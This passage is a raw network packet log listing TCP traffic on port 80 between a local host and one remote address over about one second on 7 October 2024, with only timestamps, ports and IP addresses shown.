Oct 7, 2024 03:15:39.729774952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729809046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729861975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729912996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729945898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.729978085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.729979038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730006933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730015993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730029106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730062008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730077028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730127096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730129004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730165005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730178118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730199099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730211973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730237007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730247974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730273008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730324030 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730381966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730437040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730470896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730524063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730556965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730608940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730659962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730693102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730726957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730782032 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730824947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730858088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730859995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730885029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730895042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730917931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730930090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730941057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730964899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.730978012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.730999947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731014013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731034040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731043100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731070042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731081009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731115103 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731129885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731170893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731188059 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731226921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731228113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731261015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731282949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731296062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731298923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731332064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731343985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731369972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731393099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731435061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731453896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731467962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731477022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731503010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731520891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731540918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731551886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731579065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731595039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731612921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731626987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731648922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731658936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731686115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731693983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731723070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731729984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731759071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731769085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731794119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731806993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731827974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731837034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731863976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731875896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731897116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731909990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731933117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731941938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.731967926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.731980085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732002020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732012033 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732037067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732048988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732072115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732084036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732106924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732116938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732141972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732151031 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732180119 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732191086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732217073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732218981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732251883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732261896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732286930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732295990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732321024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732335091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732357025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732369900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732392073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732404947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732428074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732441902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732462883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732498884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732526064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732533932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732536077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732547998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732572079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.732584953 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.732623100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.752449036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752487898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752532005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752568007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752603054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752607107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.752631903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.752639055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752655983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.752674103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752685070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.752711058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.752727985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.752753973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.772859097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.772912025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.772916079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.772948027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.772959948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.772983074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.772994041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.773020029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.773027897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.773053885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.773066998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.773092985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.773096085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.773142099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.791749001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.791820049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792018890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792049885 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792069912 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792094946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792104006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792140961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792149067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792175055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792188883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792212009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792218924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792247057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792257071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792279959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792292118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792316914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792331934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792351961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792361975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792387962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792402029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792423010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792443037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792458057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792468071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.792493105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.792546988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.815912008 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.815968037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.815980911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816006899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816025972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816042900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816056013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816086054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816097975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816149950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816154003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816194057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816201925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816229105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816239119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816262960 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816273928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816310883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816325903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816370010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816380024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816427946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816432953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816468954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816502094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816504955 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816529989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816550970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816555023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816602945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816607952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816656113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816660881 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816721916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816731930 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816766977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816776991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816809893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816826105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816863060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816863060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816909075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.816915989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816951036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.816963911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817001104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817007065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817044020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817059994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817079067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817095041 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817114115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817127943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817164898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817171097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817218065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817224979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817272902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817277908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817312002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817326069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817348003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817363977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817383051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817401886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817435980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817439079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817475080 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817488909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817527056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817528009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817563057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817575932 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817608118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817616940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817655087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817672968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817703962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817708015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817742109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817754030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817787886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817795992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817830086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817845106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817863941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817877054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817898989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817909002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817936897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817949057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.817970991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.817981005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818007946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818018913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818046093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818053007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818080902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818094015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818125963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818146944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818181992 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818198919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818217039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818226099 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818253040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818269968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818286896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818304062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818321943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818332911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818356991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818370104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818397999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818413019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818432093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818449020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818466902 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818480015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818500996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818515062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818536043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818546057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818571091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818583965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818605900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818625927 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818641901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818654060 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818675995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818687916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818710089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818728924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818744898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818757057 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818779945 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818793058 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818820000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.818826914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.818854094 CEST	80	49737	95.164.90.97	192.168.2.4
